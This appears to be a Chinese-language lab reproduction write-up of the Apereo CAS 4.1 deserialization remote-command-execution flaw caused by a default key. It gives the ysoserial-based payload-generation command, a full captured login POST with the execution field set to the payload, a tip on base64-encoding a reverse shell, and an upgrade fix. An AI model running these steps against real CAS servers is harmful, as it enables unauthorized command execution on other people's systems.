簡介
參考鏈接:
- 項目地址:https://github.com/apereo/cas
- 官網:https://apereo.github.io/cas/6.4.x/index.html
- 簡介:http://www.idataviz.com/doc/integration/cas_intro.html
CAS 全稱是Central Authentication Service(中心認證服務),它是一個單點登錄(Single-Sign-On)協議,Apereo CAS是實現該協議的軟件包,且Apereo CAS是目前Java服務器環境下使用最為廣泛的單點登錄系統。
Apereo CAS 4.1 反序列化命令執行漏洞
參考鏈接:
- https://github.com/vulhub/vulhub/blob/master/apereo-cas/4.1-rce/README.zh-cn.md
- https://github.com/vulhub/Apereo-CAS-Attack/releases
Apereo CAS 在4.1.7版本之前存在一處默認密鑰的問題,利用這個默認密鑰我們可以構造惡意信息觸發目標反序列化漏洞,進而執行任意命令。
漏洞影響版本:
- version < 4.1.7
漏洞復現
啟動環境,訪問http://your-ip:8080/cas/login
即可查看到登錄頁面。
我們可以使用Apereo-CAS-Attack來復現該漏洞,該工具需要與ysoserial配合使用,使用ysoserial的CommonsCollections4生成加密后的Payload:
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"
多次生成你會發現生成的內容並不一樣,但是沒有關系。然后我們在login頁面進行登錄並抓包,用戶名和密碼隨意填寫,將body中的execution
值替換成上面的payload:
POST /cas/login HTTP/1.1
Host: 139.198.172.202:8080
Content-Length: 2305
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://139.198.172.202:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://139.198.172.202:8080/cas/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=C70B7AA2F917AFEC6D4504EAEAAF06FB; wp-settings-time-1=1626831956
Connection: close
username=test&password=test<=LT-6-6rO5h3ba6wNhaP551NCKziUKyVgJhD-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN
使用docker exec -it <容器ID> /bin/bash
進入容器,在/tmp
目錄下創建了success
文件。
反彈shell,可以使用base64對反彈shell語句進行編碼。
http://www.jackson-t.ca/runtime-exec-payloads.html
漏洞修復
這個漏洞的時間比較早了(16年),現在(21年10月13日)最先的版本是6.4.1
,升級到沒有漏洞的版本即可。